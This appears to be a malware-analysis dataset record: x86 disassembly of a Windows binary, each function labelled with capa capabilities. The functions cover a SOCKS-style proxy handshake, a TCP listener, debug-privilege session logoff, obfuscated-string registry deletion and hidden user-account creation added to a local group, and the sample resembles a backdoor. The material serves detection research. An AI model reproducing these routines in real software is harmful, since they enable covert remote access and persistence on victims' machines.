joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10022ff0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10023020
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x1002303a
cmp al, 2
je 0x1002303a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x1012c524
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1002307d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x100231d3
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x2000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100231c7
test eax, eax
je 0x100231c7
cmp byte [ebp], 1
je 0x100230dd
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x10023106
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10023106
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10023135
cmp ecx, 0x100
jg 0x10023135
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x1012c524
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10023162
test cl, cl
je 0x1002315e
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10023162
add eax, 2
add esi, 2
test cl, cl
jne 0x1002313e
xor eax, eax
jmp 0x10023167
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100231a9
lea esi, [esp + 0x110]
mov eax, 0x1012c624
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1002319b
test cl, cl
je 0x10023197
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1002319b
add eax, 2
add esi, 2
test cl, cl
jne 0x10023177
xor eax, eax
jmp 0x100231a0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100231a9
mov byte [ebp + 1], al
jmp 0x100231ad
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100231d3
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x100231f0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x1012b064
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x100232a4
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x100232ac
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x1002329a
test edx, edx
jle 0x10023264
mov edi, 0x100fa66c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x10023236
add dword [esp + 0x10], 4
jmp 0x1002321a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x100232c0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100232d0
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x100234d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x10023527
call fcn.100232c0
add esp, 4
test eax, eax
je 0x10023582
push esi
call fcn.100232c0
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10023582
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1002358a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x100235a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.10022ff0
add esp, 0xc
test eax, eax
je 0x10023647
cmp eax, 4
jne 0x100235e8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.100232e0
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x2000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10023647
test eax, eax
je 0x10023647
cmp byte [esi], 5
jne 0x10023647
mov cl, byte [esi + 3]
cmp cl, 1
je 0x10023614
cmp cl, 3
jne 0x10023647
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.100232e0
add esp, 0x14
test eax, eax
je 0x10023647
mov al, byte [esi + 1]
cmp al, 1
je 0x1002363e
cmp al, 3
jne 0x10023647
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10023650
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1002369e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x100236bb
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.100231f0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x10023a10
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10023aff
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10023aff
mov dx, word [0x1012c520]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10023aff
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10023aac
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.MSVCRT.dll_malloc]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call ebp
add esp, 4
test eax, eax
je 0x10023ab8
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x10023710
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x10023af6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10023ab8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10023ab8
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x10023cb0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x10023ceb
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10023cf2
sub esi, eax
add edi, eax
test esi, esi
jg 0x10023cc6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret

Function at 0x10024990
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.1001b690
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x100249c8
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSLogoffSession
add esi, 4
cmp esi, edi
jb 0x100249b3
pop ebx
mov ecx, ebp
call fcn.100250f0
push 0
push str.SeDebugPrivilege
call fcn.1001b690
add esp, 8
pop edi
pop esi
pop ebp
ret 8

Function at 0x100249f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.1001b690
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x10024a28
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSDisconnectSession
add esi, 4
cmp esi, edi
jb 0x10024a13
pop ebx
mov ecx, ebp
call fcn.100250f0
push 0
push str.SeDebugPrivilege
call fcn.1001b690
add esp, 8
pop edi
pop esi
pop ebp
ret 8
Function at 0x10024a50
Capabilities:
Get session information

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
mov ecx, dword [esp + 0x10]
push edx
xor eax, eax
push 0xa
push ecx
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
mov eax, dword [esp]
jne 0x10024a80
mov eax, dword [esp + 0xc]
add esp, 8
ret 4

Function at 0x10024a90
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 0x30c
mov edx, dword [esp + 0x310]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 5
push edx
push 0
mov dword [esp + 0x14], 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x10024ac6
xor al, al
add esp, 0x30c
ret
mov eax, dword [esp]
push edi
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
lea eax, [esp + 0x14]
push 0x104
push eax
lea ecx, [esp + 0x120]
push 0xffffffffffffffff
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [esp + 0x318]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 1
pop edi
add esp, 0x30c
ret

Function at 0x10024b40
Capabilities:
Get session information

Disassembly:
sub esp, 8
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
push esi
lea ecx, [esp + 4]
push eax
push ecx
xor esi, esi
push 0x10
push edx
push esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10024bc9
mov ecx, dword [esp + 4]
movsx eax, byte [ecx]
sub eax, esi
je 0x10024ba2
dec eax
je 0x10024b8e
dec eax
jne 0x10024bb6
push ecx
mov esi, 0x1011fdd4
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, 0x1011fdd0
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, str.Console
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov esi, dword [esp + 0x10]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov eax, dword [esp + 0x10]
pop esi
add esp, 8
ret 4
Function at 0x100251b0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MFC42.DLL_operatornew
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, 0x14
call fcn.1002d130
add eax, 1
adc edx, 0
push edx
push eax
push 0x1011fe2c
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret

Function at 0x100252e0
Capabilities:
List groups for user account

Disassembly:
sub esp, 0x310
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x122]
mov word [esp + 0x120], si
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x328]
lea ecx, [esp + 0x124]
push eax
push ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], esi
call dword [sym.imp.MSVCRT.dll_mbstowcs]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
push eax
push 0xffffffffffffffff
push ecx
push 1
lea edx, [esp + 0x134]
push esi
push edx
push esi
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x1002542d
mov ebp, dword [esp + 0x18]
cmp ebp, esi
je 0x1002542d
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], esi
cmp eax, esi
jbe 0x1002542d
mov ebx, dword [esp + 0x328]
jmp 0x10025396
xor esi, esi
cmp ebp, esi
je 0x1002542d
mov eax, dword [ebp]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, dword [ebp]
mov esi, eax
push ecx
push 0x1011fe30
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
lea edx, [esp + 0x38]
push esi
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
call dword [sym.imp.MSVCRT.dll_free]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test edx, edx
je 0x10025400
mov byte [edx + ebx], 0x2f
inc edx
xor eax, eax
test ecx, ecx
jle 0x10025415
lea esi, [edx + ebx]
mov dl, byte [esp + eax + 0x20]
mov byte [esi + eax], dl
inc eax
cmp eax, ecx
jl 0x10025409
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add ebp, 4
inc eax
cmp eax, ecx
mov dword [esp + 0x14], eax
jb 0x10025394
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x310
ret
Function at 0x10025730
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x2c
or ecx, 0xffffffff
xor eax, eax
push esi
push edi
mov edi, str.00000
mov esi, dword [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.00000
push esi
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
push esi
jne 0x10025769
lea eax, [esp + 0xc]
push 0x100fbcd8
push eax
jmp 0x10025773
lea ecx, [esp + 0xc]
push str.00000_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
mov byte [esp + 0x30], dl
mov dl, 0x63
add esp, 0xc
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], dl
mov cl, 0x4d
mov byte [esp + 0x17], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x23], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x31], al
lea edx, [esp + 0x38]
lea eax, [esp + 0x14]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1a], cl
push edx
mov cl, 0x73
push eax
push reloc.WS2_32.dll_bind
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x6d
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], cl
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x75
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x72
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3e], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10025835
pop edi
xor eax, eax
pop esi
add esp, 0x2c
ret 4
mov edx, dword [esp + 0x38]
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
test esi, esi
sete al
pop esi
add esp, 0x2c
ret 4
Function at 0x10025950
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x54
push ebx
push esi
mov esi, ecx
mov bl, 0x53
mov cl, 0x4d
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0xe], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0xc], bl
mov byte [esp + 0xd], dl
mov byte [esp + 0xf], al
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], dl
mov byte [esp + 0x13], al
mov cl, 0x73
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], dl
mov byte [esp + 0x23], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x60]
mov bl, 0x6e
mov dl, 0x63
mov byte [esp + 0x1a], cl
mov byte [esp + 0x25], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], dl
mov byte [esp + 0x21], bl
push eax
lea ecx, [esp + 0x38]
mov dl, 0x65
xor ebx, ebx
push 0x100fbcd8
push ecx
mov byte [esp + 0x20], 0x44
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6d
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x30], 0x55
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x72
mov byte [esp + 0x36], 0x4e
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x6d
mov byte [esp + 0x39], dl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x17], bl
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x60]
lea eax, [esp + 0xc]
push edx
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10025a49
pop esi
xor eax, eax
pop ebx
add esp, 0x54
ret 4
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x34]
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edi, eax
mov eax, dword [esp + 0x64]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
lea edx, [esp + 0xf]
setne cl
add ecx, 0xa0
push 1
mov byte [esp + 0x13], cl
push edx
mov ecx, esi
call fcn.10010b00
lea eax, [esp + 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x54
ret 4
Function at 0x10025aa0
Capabilities:
Add user account
Add user account to group

Disassembly:
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 1
mov dword [esp + 0x18], 0
mov byte [esp + 0x17], 0
call fcn.10010bb0
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call ebp
add eax, 2
mov ecx, esi
push eax
call fcn.10010bb0
mov ebx, eax
push ebx
call ebp
mov edx, eax
push edi
mov dword [esp + 0x20], edx
call ebp
mov ecx, dword [esp + 0x1c]
lea edx, [ecx + eax + 3]
mov ecx, esi
push edx
call fcn.10010bb0
push edi
mov ebp, eax
call fcn.100245f0
push ebx
mov dword [esp + 0x28], eax
call fcn.100245f0
add esp, 8
mov dword [esp + 0x24], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
push eax
xor ebx, ebx
push ecx
push 1
push ebx
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], 0x10001
mov dword [esp + 0x4c], ebx
call sub.NETAPI32.dll_NetUserAdd
test eax, eax
je 0x10025b76
mov edx, dword [esp + 0x20]
push edx
call sub.MFC42.DLL_operatordelete
mov eax, dword [esp + 0x28]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 8
lea ecx, [esp + 0x13]
mov byte [esp + 0x13], 0x9f
push 1
push ecx
mov ecx, esi
call fcn.10010b00
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf8
ret
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x42]
mov word [esp + 0x40], bx
mov edx, dword [esp + 0x20]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x40]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov ecx, dword [esp + 0x28]
push ecx
call sub.MFC42.DLL_operatordelete
mov edx, dword [esp + 0x30]
push edx
call sub.MFC42.DLL_operatordelete
lea eax, [esp + 0x50]
push ebp
mov dword [esp + 0x2c], eax
call fcn.100245f0
add esp, 0x14
lea ecx, [esp + 0x18]
mov edi, eax
push 1
push ecx
push 3
push edi
push ebx
call sub.NETAPI32.dll_NetLocalGroupAddMembers
push edi
mov ebp, eax
call sub.MFC42.DLL_operatordelete
add esp, 4
cmp ebp, ebx
setne dl
lea eax, [esp + 0x13]
add edx, 0x9e
push 1
push eax
mov ecx, esi
mov byte [esp + 0x1b], dl
call fcn.10010b00
mov ecx, esi
call fcn.10025700
lea ecx, [esp + 0x13]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf8
ret